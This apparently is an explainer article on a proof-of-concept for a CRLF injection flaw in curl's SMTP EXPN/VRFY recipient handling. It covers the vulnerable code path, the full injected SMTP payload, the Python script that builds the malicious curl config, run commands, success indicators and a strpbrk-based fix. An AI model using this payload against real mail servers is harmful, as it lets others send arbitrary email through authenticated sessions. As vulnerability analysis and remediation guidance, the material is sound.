How the curl SMTP EXPN Recipient CRLF Injection Vulnerability Works
The curl SMTP EXPN recipient CRLF injection vulnerability allows attackers to inject arbitrary SMTP commands by embedding carriage-return/line-feed sequences in the recipient field, which curl transmits unsanitized to the server.
This proof-of-concept, hosted in the bikini/exploitarium repository, demonstrates how improper input validation in curl's SMTP handling enables command injection via the CURLOPT_MAIL_RCPT parameter. By exploiting the way curl constructs SMTP command lines, attackers can bypass intended command boundaries and execute unauthorized mail operations.
Root Cause: Unsanitized Recipient Data in SMTP Commands
The vulnerability stems from curl's construction of SMTP request lines in its protocol handler. When building commands such as EXPN or VRFY, curl concatenates the custom request string with raw recipient data without sanitizing control characters.
Vulnerable Code Path
In the SMTP implementation, curl uses Curl_pp_sendf to format command strings:
result = Curl_pp_sendf(data, &smtpc->pp,
"%s %s%s", smtp->custom,
smtp->rcpt->data,
utf8 ? " SMTPUTF8" : "");
Because smtp->rcpt->data is inserted directly into the format string without validation, any carriage-return/line-feed (\r\n) characters present in the recipient field are transmitted verbatim to the SMTP server. The server interprets these sequences as command terminators, treating subsequent content as new SMTP commands rather than part of the original recipient operand.
Exploitation Mechanism
Attackers exploit this flaw by crafting recipient strings that contain embedded CRLF sequences followed by additional SMTP commands. When curl sends the EXPN or VRFY request, the injected commands execute in the context of the authenticated session.
Injection Payload Structure
The proof-of-concept in run_demo.py constructs a payload that terminates the original EXPN command and injects a complete mail transaction:
Friends\r\n
MAIL FROM:<probe-sender@example.com>\r\n
RCPT TO:<probe-recipient@example.com>\r\n
DATA\r\n
Subject: injected\r\n
\r\n
curl‑smtp‑injection‑marker‑v1\r\n
.
When processed by the vulnerable code, the SMTP server receives and executes the injected MAIL FROM, RCPT TO, and DATA commands, allowing the attacker to send arbitrary email content through the authenticated connection.
Proof-of-Concept Implementation
The bikini/exploitarium repository provides a complete demonstration via run_demo.py, which orchestrates a local SMTP peer and malicious curl configuration to validate the injection.
Generating the Malicious Configuration
The Python script builds a curl configuration file that sets the recipient to the crafted payload:
payload = (
"Friends\r\n"
"MAIL FROM:<probe-sender@example.com>\r\n"
"RCPT TO:<probe-recipient@example.com>\r\n"
"DATA\r\n"
"Subject: injected\r\n"
"\r\n"
f"{MARKER}\r\n"
"."
)
text = "\n".join([
f'url = "smtp://{host}:{port}/probe"',
f'request = "{mode.upper()}"',
f'mail-rcpt = "{config_quote(payload)}"',
'user = "alice:secret"',
'login-options = "AUTH=PLAIN"',
"verbose",
'max-time = "10"',
])
path.write_text(text, encoding="utf-8")
Executing the Attack
Run the demonstration against a local SMTP server or the built-in peer:
python run_demo.py # use the system curl
# or with a custom curl binary
python run_demo.py --curl /path/to/curl
The script writes the configuration to smtp‑crlf‑injection.curlrc, invokes curl -K smtp-crlf-injection.curlrc, and monitors the SMTP transaction for injected commands.
Validation Indicators
Upon successful exploitation, the local SMTP peer records the injected mail transaction and the runner outputs confirmation flags:
auth_seen=true
custom_request_seen=true
injected_mail_seen=true
injected_rcpt_seen=true
injected_data_seen=true
message_completed=true
marker_in_message=true
confirmed=true
The confirmed=true flag indicates that the CRLF injection successfully delivered arbitrary SMTP commands and message content through the vulnerable curl instance.
Mitigation and Fix
Proper remediation requires validating recipient data before serializing SMTP commands. The fix should reject any operands containing control characters that could terminate the command line prematurely.
Input Validation Implementation
Before calling Curl_pp_sendf, the code should verify that smtp->rcpt->data contains no carriage-return or line-feed characters:
if (strpbrk(smtp->rcpt->data, "\r\n")) {
failf(data, "Refusing to send SMTP command operand with a CR or LF");
return CURLE_BAD_FUNCTION_ARGUMENT;
}
This validation prevents command injection by ensuring recipient data remains a single-line operand, maintaining the integrity of the SMTP protocol state machine.
Summary
- The curl SMTP EXPN recipient CRLF injection vulnerability exists because curl concatenates raw recipient data into SMTP commands without sanitizing
\r\ncharacters. - Attackers can inject arbitrary SMTP commands, including
MAIL FROM,RCPT TO, andDATA, by embedding CRLF sequences in theCURLOPT_MAIL_RCPTvalue. - The
bikini/exploitariumproof-of-concept demonstrates complete mail injection via theEXPNorVRFYcommands using therun_demo.pyscript. - The vulnerable code path uses
Curl_pp_sendfto format commands with unsanitizedsmtp->rcpt->data. - Effective mitigation requires rejecting recipient strings containing
\ror\nusingstrpbrkvalidation before transmission.
Frequently Asked Questions
What is CRLF injection in SMTP contexts?
CRLF injection occurs when an attacker embeds carriage-return (\r) and line-feed (\n) characters within protocol input to prematurely terminate a command line. In SMTP, these characters delimit commands, allowing attackers to inject additional operations such as MAIL FROM or DATA that the server executes as separate commands, effectively hijacking the session protocol state.
Which curl options are vulnerable to this attack?
The vulnerability specifically affects the CURLOPT_MAIL_RCPT option (configured via --mail-rcpt or mail-rcpt in curlrc files) when combined with custom SMTP requests like EXPN or VRFY. Any recipient value passed through this option that contains unescaped CRLF sequences can trigger command injection, regardless of other authentication or connection settings.
How can I test if my curl installation is vulnerable?
Use the bikini/exploitarium proof-of-concept by cloning the repository and executing python run_demo.py. If the output shows confirmed=true and marker_in_message=true, your curl version transmits unsanitized CRLF characters in SMTP commands. Alternatively, inspect your curl version's source code in the SMTP protocol handler for the presence of strpbrk checks on recipient data before Curl_pp_sendf invocation.
What is the difference between EXPN and VRFY in this exploit?
Both EXPN (expand mailing list) and VRFY (verify user address) commands accept recipient operands and are equally vulnerable to CRLF injection in curl's implementation. The proof-of-concept uses EXPN by default, but switching to VRFY via the request configuration parameter achieves identical results, as both commands follow the same code path through Curl_pp_sendf with unsanitized smtp->rcpt->data.
Have a question about this repo?
These articles cover the highlights, but your codebase questions are specific. Give your agent direct access to the source. Share this with your agent to get started:
curl -s "https://instagit.com/install.md" Maintain an open-source project? Get it listed too →